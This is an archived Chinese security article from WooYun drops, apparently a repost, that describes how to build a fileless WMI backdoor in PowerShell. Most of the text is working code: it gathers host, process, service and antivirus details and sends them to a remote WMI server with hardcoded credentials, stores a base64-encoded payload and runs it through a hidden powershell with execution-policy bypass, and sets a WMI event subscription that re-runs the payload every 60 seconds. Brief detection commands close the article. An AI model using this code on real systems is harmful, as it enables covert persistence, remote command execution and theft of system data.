# WMI Backdoor

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-09-01T02:47:00Z
Canonical: https://wepostx.com/topics/1009

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:737
> **原始发布时间：** 2015-09-01 10:47
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

上篇介绍了如何通过powershell来实现WMI attacks，这次接着介绍一些进阶WMI技巧---WMI Backdoor

![原文图片](/media/2016/06/73c1c853d40efa23971d49f3f9de5cd5)

配图为Mandiant在M-Trends 2015报告中提到的“How threat actors use WMI to maintain persistence”（即上篇提到的隐蔽定时启动程序）

# 0x01 简介

结合上篇WMI attacks的基础知识来设计WMI Backdoor
特点：

```text
不在Client和Server留下任何文件 不改动注册表 仅使用powershell实现
```

# 0x02 测试环境

## CLIENT:

```text
192.168.40.208 Win8x86
```

## SERVER：

```text
192.168.40.206 Win7x64 Username：a Password：testtest
```

# 0x03 思路

作为后门，所以把隐蔽性放在首位
Clinet需要满足如下功能：

```text
上传信息至服务器 获取指令执行 定时启动
```

# 0x04 功能实现

## 1、Client将本机信息发送至Server
《WMI attacks-3、存储payload》提到，可将数据存储于此，不会留下文件，实际位于硬盘上的一个复杂的数据库中(objects.data)
设计思路：

```text
Client获取主机配置信息-连接远程服务器-保存在远程服务器 Server读取信息
```
实现：
（1）Client获取主机配置信息-连接远程服务器-保存在远程服务器
Client端Powershell代码如下：

```text
#连接192.168.40.206 $Options = New-Object Management.ConnectionOptions $Options.Username = 'a' $Options.Password = 'testtest' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '\\192.168.40.206\root\cimv2' $Connection.Options = $Options $Connection.Connect() $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) #新建类名 $EvilClass['__CLASS'] = 'Win32_UserInfo' $EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False) #获取主机配置信息 $GetOS=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem $GetProcess=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process $GetService=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service -Filter "State='Running'" $GetUser=Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem $GetAV=Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #注：Powershell中换行符为`n $EvilClass.Properties['IP19216840208'].Value = $GetUser.UserName+"`n"+"OS:"+$GetOS.Caption+";"+$GetOS.OSArchitecture+"`n"+"AntiVirusProduct:"+ $GetAV.displayName+"`n"+"Process:"+"`n"+$GetProcess.Name+"`n"+"Service Start:"+"`n"+$GetService.Name #存储 $EvilClass.Put()
```
如图

![原文图片](/media/2016/06/9617f5157418ac799b2327df41c20e7a)

（2）Server端执行查询获取主机信息

```text
([WmiClass] 'Win32_UserInfo').Properties['IP19216840208']
```
如图

![原文图片](/media/2016/06/873d039d02541c184ccef01b5b07a10c)

## 2、Client获取指令并执行
设计思路：

```text
Client加密存储指令 Client读取指令-解密-执行
```
实现：
（1）Client加密存储指令
Client端Powershell代码如下：

```text
#定义Payload，为保证变量能够解析，需要使用单引号‘ $Payload=@' $Options = New-Object Management.ConnectionOptions $Options.Username = 'a' $Options.Password = 'testtest' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '\\192.168.40.206\root\cimv2' $Connection.Options = $Options $Connection.Connect() $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) $EvilClass['__CLASS'] = 'Win32_CommandTest' $EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False) $EvilClass.Properties['IP19216840208'].Value ="Run Command Test!" $EvilClass.Put() '@ #对payload作base64加密 $bytes = [System.Text.Encoding]::Unicode.GetBytes($Payload); $EncodedPayload = [System.Convert]::ToBase64String($bytes); #存储加密后的payload $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('EnCommand' , $EncodedPayload) $StaticClass.Put()
```
如图

![原文图片](/media/2016/06/41f298d87d02fee3524be282cbb8f5cc)

（2）查看加密的payload

```text
([WmiClass] 'Win32_Command').Properties['EnCommand']
```
如图

![原文图片](/media/2016/06/540bd8ee39da94e01ec1cb01426a1271)

（3）Client读取指令-解密-执行

```text
#读取加密payload $EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value #PowerShell执行命令 $PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload #显示解密指令 $bytes2 = [System.Convert]::FromBase64String($EncodedPayload); $decoded = [System.Text.Encoding]::Unicode.GetString($bytes2); "decoded Payload:" $decoded
```
如图

![原文图片](/media/2016/06/b66a6e23c1876d53ebe4755220a00f0d)

server端执行
([WmiClass] 'Win32_CommandTest').Properties['IP19216840208']
验证是否成功
如图

![原文图片](/media/2016/06/b3a2fc197c5bd375204189a4e53f8127)

## 3、Client定时执行powershell命令

```text
#读取加密指令 $EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value $filterName = 'BotFilter56' $consumerName = 'BotConsumer56' #创建一个__EventFilter，用于设定触发条件，每隔60s执行一次 $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop #创建一个CommandLineEventConsumer，用于设定执行的操作 $Arg =@{ Name=$consumerName CommandLineTemplate="C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -enc $EncodedPayload" } $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg #用于绑定filter和consumer Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
```
如图

![原文图片](/media/2016/06/39174bcfa890c44b4347279897ea5739)

# 0x05 补充

对于定时启动功能的进一步说明

### 1、EventFilter
可以理解为通过执行WQL查询来设定触发条件，包括以下查询：
（1）Data queries

```text
SELECT * FROM Win32_NTLogEvent WHERE Logfile = 'Application
```
（2）Event queries

```text
SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'
```
（3）Schema queries

```text
SELECT * FROM meta_class WHERE __this ISA "Win32_BaseService"
```

## 2、 consumer
可以理解为条件满足后执行的操作，包括如下查询：

```text
（1）ActiveScriptEventConsumer （2）LogFileEventConsumer （3）NTEventLogEventConsumer （4）SMTPEventConsumer （5）CommandLineEventConsumer
```

## 3、使用consumer执行vbs脚本的两种方式
（1）直接执行现有脚本

```text
instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptFileName = "c:\\asec2.vbs"; };
```
（2）内嵌脚本，不会留下痕迹

```text
instance of ActiveScriptEventConsumer as $Cons { Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = "Dim objFS, objFile\n" "Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n" "Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\"," " 8, true)\nobjFile.WriteLine \"Time: \" & Now & \";" " Entry made by: ASEC\"\nobjFile.WriteLine" " \"Application closed. UserModeTime: \" & " "TargetEvent.TargetInstance.UserModeTime &_\n" "\"; KernelModeTime: \" & " "TargetEvent.TargetInstance.KernelModeTime " "& \" [hundreds of nanoseconds]\"\n" "objFile.Close\n"; };
```
参考资料：
https://msdn.microsoft.com/en-us/library/aa392902(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/aa393250(v=vs.85).aspx

# 0x06 小结

本文仅用来介绍WMI Attacks的进阶应用技巧，请勿用于非法用途
再次提一下WMI的检测方法：

```text
#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter #List Event Consumers Get-WMIObject -Namespace root\Subscription -Class __EventConsumer #List Event Bindings Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```
查看日志

```text
– Microsoft-Windows-WinRM/Operational – Microsoft-Windows-WMI-Activity/Operational – Microsoft-Windows-DistributedCOM
```
甚至禁用Winmgmt服务从根本上阻止该方法的使用

本文由三好学生原创并首发于乌云drops，转载请注明

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